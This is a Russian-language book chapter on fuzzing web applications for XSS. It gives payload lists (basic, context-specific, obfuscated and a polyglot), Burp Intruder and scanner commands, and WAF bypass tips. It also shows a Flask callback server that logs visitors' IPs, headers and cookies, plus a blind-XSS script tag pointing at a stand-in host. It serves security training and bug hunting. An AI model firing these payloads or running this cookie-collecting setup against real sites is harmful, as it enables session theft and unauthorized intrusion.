Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Fuzzing и тестирование точек входа
Fuzzing - это искусство массированной бомбардировки приложения тысячами вариаций payload'ов, чтобы найти хоть одну слабую точку, через которую пролезет твой XSS. Если мануальное тестирование - это снайперская винтовка, то fuzzing - это артиллерийский обстрел. Ты не знаешь точно, где сработает, но покрываешь такую площадь, что шансы найти уязвимость взлетают до небес. Давай разберёмся, как превратить хаотичное тыканье в системный, автоматизированный процесс поиска XSS.
Суть fuzzing для XSS
Fuzzing (фаззинг) в контексте XSS - это автоматическая отправка большого количества специально сформированных payload'ов во все найденные точки входа с последующим анализом ответов на предмет успешного выполнения кода.
Основная идея:
- Ты берёшь список из сотен или тысяч XSS-payload'ов
- Вставляешь их во все параметры, формы, headers, которые нашёл ранее
- Отправляешь запросы автоматически
- Анализируешь ответы: появился ли payload в HTML? В каком контексте? Сработал ли он?
Это позволяет:
- Покрыть огромное количество вариаций за короткое время
- Найти нестандартные векторы, о которых ты не подумал бы вручную
- Обнаружить слабые места в фильтрах (что именно пропускается)
- Протестировать edge cases и редкие комбинации
Подготовка payload-листов - твой боеприпас
Качество fuzzing'а напрямую зависит от качества твоих payload'ов. Не используй первый попавшийся список из интернета - собери свой арсенал.
Категории payload'ов
Базовые детекторы (canary payloads):
Простые маркеры для определения, отражается ли вообще твой ввод:
XSSTEST123
<xss>
{{7*7}}
${7*7}
Эти payload'ы помогают понять, фильтруется ли что-то на входе и где появляется вывод.
Контекстно-специфичные payload'ы:
Для HTML-контекста (как мы разбирали в главе 3):
<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <iframe src="javascript:alert(1)">
Для атрибутов :
" onclick="alert(1) ' onfocus='alert(1)' autofocus=' " onmouseover="alert(1)
Для JavaScript-контекста:
';alert(1);// '-alert(1)-' </script><script>alert(1)</script>
Для URL-контекста:
javascript:alert(1) data:text/html,<script>alert(1)</script>
Обфускированные варианты (bypass payloads):
Используя техники из главы 4 :
<ScRiPt>alert(1)</ScRiPt> <img src=x onerror=alert(1)> <svg/onload=alert(1)> <img src=x onerror="eval(atob('YWxlcnQoMSk='))"> <img/src=x/onerror=alert(1)>
Polyglot payload'ы:
Универсальные payload'ы, работающие в нескольких контекстах одновременно:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Где взять готовые списки
- PayloadAllTheThings (GitHub) - огромная коллекция payload'ов для всех типов атак
- SecLists/XSS - качественная подборка от Daniel Miessler
- PortSwigger XSS Cheat Sheet - официальный список от создателей Burp
- OWASP XSS Filter Evasion - классика с фокусом на обход
- XSS-Payload-List (различные GitHub репозитории)
Лайфхак: Не бери весь список целиком. Отбери 200-300 самых эффективных payload'ов под разные контексты. Качество важнее количества - 10000 похожих payload'ов дадут меньше результата, чем 300 разнообразных.
Burp Suite Intruder - артиллерия fuzzing'а
Burp Suite Intruder - твой главный инструмент для автоматизированного fuzzing'а.
Настройка атаки
Шаг 1: Захват запроса
Перехвати интересующий запрос в Burp Proxy:
GET /search?q=test&lang=en HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 Cookie: session=abc123
Шаг 2: Отправь в Intruder (Ctrl+I)
Шаг 3: Определи точки инъекции
В табе "Positions" выдели параметры для fuzzing'а символами §:
GET /search?q=§test§&lang=§en§ HTTP/1.1 Host: target.com User-Agent: §Mozilla/5.0§ Cookie: session=abc123
Шаг 4: Выбери тип атаки
- Sniper - каждая позиция тестируется отдельно (по очереди)
- Battering ram - один payload во все позиции одновременно
- Pitchfork - разные списки для разных позиций (параллельно)
- Cluster bomb - все комбинации всех payload'ов для всех позиций
Для XSS обычно используй Sniper (быстрее) или Cluster bomb (полное покрытие).
Шаг 5: Загрузи payload-лист
В табе "Payloads" → "Load" → выбери свой файл с payload'ами.
Шаг 6: Настрой опции
- Redirections: Follow redirections (иногда XSS срабатывает после редиректа)
- Grep - Match: Добавь паттерны для автоматического обнаружения:
-
<script>alert -
onerror= - Твои уникальные маркеры из payload'ов
-
Шаг 7: Start attack
Анализ результатов
Burp покажет таблицу с результатами. Смотри на:
- Status code: 200 vs 403/500 (блокировка?)
- Length: Изменение длины ответа может указывать на отражение payload'а
- Grep results: Автоматически найденные совпадения
- Render: Визуальный просмотр страницы (видно, сработал ли XSS)
Сортируй по Length - аномальные размеры часто указывают на успех.
Проверяй вручную: Если Grep нашёл совпадение, открой Response и посмотри в исходный код - в каком контексте появился payload и выполнился ли он.
Специализированные инструменты fuzzing'а
XSStrike
Python-инструмент с интеллектуальным fuzzing'ом и обнаружением контекста.
Установка:
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
Использование:
python xsstrike.py -u "http://target.com/search?q=test"
XSStrike автоматически:
- Определяет контекст инъекции
- Подбирает подходящие payload'ы
- Проверяет наличие WAF
- Использует обфускацию для обхода
Dalfox
Быстрый Go-based сканер с фокусом на производительность.
Установка:
go install github.com/hahwul/dalfox/v2@latest
Использование:
dalfox url "http://target.com/search?q=FUZZ" dalfox file urls.txt -b https://your-callback-server.com
Поддерживает:
- Массовое сканирование из файла
- Blind XSS через callback-сервер
- Различные режимы обхода WAF
- Интеграцию с Burp
XSSer
Старый, но всё ещё рабочий инструмент с огромным количеством техник обхода.
xsser -u "http://target.com/search?q=XSS" --auto
Nuclei
Современный сканер на основе YAML-шаблонов.
nuclei -u https://target.com -t xss/
Можно писать свои шаблоны под специфику цели.
Стратегии эффективного fuzzing'а
Стратегия 1: Поэтапное углубление
- Первый проход - базовые payload'ы (100 штук) на все точки входа
- Второй проход - обфусцированные варианты на те точки, где что-то отразилось
- Третий проход - polyglot'ы и экзотика на потенциально уязвимые места
- Четвёртый проход - мануальное тестирование финальных кандидатов
Стратегия 2: Контекстный fuzzing
Сначала определи контекст через canary payload, а потом бомби только релевантными payload'ами:
- Если ввод в HTML → используй HTML-payload'ы
- Если в атрибуте → attribute injection payload'ы
- Если в JS → JS-escape payload'ы
Это экономит время и снижает шум.
Стратегия 3: WAF fingerprinting
Определи, есть ли WAF и какой:
wafw00f http://target.com
Затем используй специфичные для этого WAF техники обхода. Например:
- Cloudflare чувствителен к определённым паттернам
- ModSecurity можно обойти через mixed case
- Akamai блокирует многие события, но пропускает экзотику
Стратегия 4: Differential fuzzing
Отправляй пары запросов:
- Нормальный запрос
- Запрос с payload'ом
Сравнивай ответы (diff). Это помогает обнаружить тонкие изменения в поведении.
Автоматизация анализа результатов
Скрипт для парсинга Burp результатов
import re
import sys
def analyze_burp_output(response):
# Ищем reflected payload
xss_patterns = [
r'<script>alert\(1\)</script>',
r'onerror\s*=',
r'onclick\s*=',
r'javascript:',
]
for pattern in xss_patterns:
if re.search(pattern, response, re.IGNORECASE):
return True
return False
# Читаем файл с ответами Burp
with open('burp_responses.txt', 'r') as f:
for line in f:
if analyze_burp_output(line):
print(f"[+] Potential XSS found: {line[:100]}")
Мониторинг callback'ов для Blind XSS
Разверни простой HTTP-сервер для ловли callback'ов:
from flask import Flask, request
import datetime
app = Flask(__name__)
@app.route('/<path:path>')
def log_hit(path):
timestamp = datetime.datetime.now()
print(f"[{timestamp}] XSS HIT!")
print(f"Path: {path}")
print(f"IP: {request.remote_addr}")
print(f"Headers: {request.headers}")
print(f"Cookies: {request.cookies}")
return "OK"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Payload для Blind XSS:
<script src="http://your-server.com/xss_hit"></script>
Частые ошибки при fuzzing'е
Ошибка 1: Слишком агрессивный fuzzing
Тысячи запросов в секунду могут:
- Вызвать rate limiting
- Забанить твой IP
- Упасть целевой сервер (DoS)
Используй throttling в Burp или ключ -t в инструментах.
Ошибка 2: Игнорирование контекста
Отправка HTML-payload'ов в JS-контекст - трата времени.
Ошибка 3: Не проверять вручную
Автоматические инструменты дают false positives. Всегда проверяй находки руками.
Ошибка 4: Забыть про Blind XSS
Некоторые payload'ы срабатывают только в админке или через несколько часов/дней.
Практический workflow
- Разведка - собери все точки входа (формы, параметры, headers)
- Категоризация - определи типы входов (reflected, stored, DOM)
- Базовый fuzzing - прогони лёгкие payload'ы через Burp Intruder
- Анализ - найди, где что-то отражается
- Углублённый fuzzing - бомби найденные точки специализированными payload'ами
- Мануальная проверка - подтверди находки вручную
- Эксплуатация - разработай рабочий PoC
- Документирование - запиши результаты для отчёта
Заключение
Fuzzing - это не замена мануальному тестированию, а его усилитель. Автоматизация позволяет покрыть огромную поверхность атаки за короткое время, но финальная проверка и эксплуатация всегда требуют человеческого мозга. Правильный fuzzing - это баланс между скоростью, покрытием и точностью. Собери качественные payload-листы, освой Burp Intruder, используй специализированные инструменты и всегда анализируй результаты критически. В следующем разделе мы погрузимся в инструментарий профессионального охотника за XSS - научимся выжимать максимум из Burp Suite, ZAP, XSS Hunter и других мастхэв-тулзов индустрии.
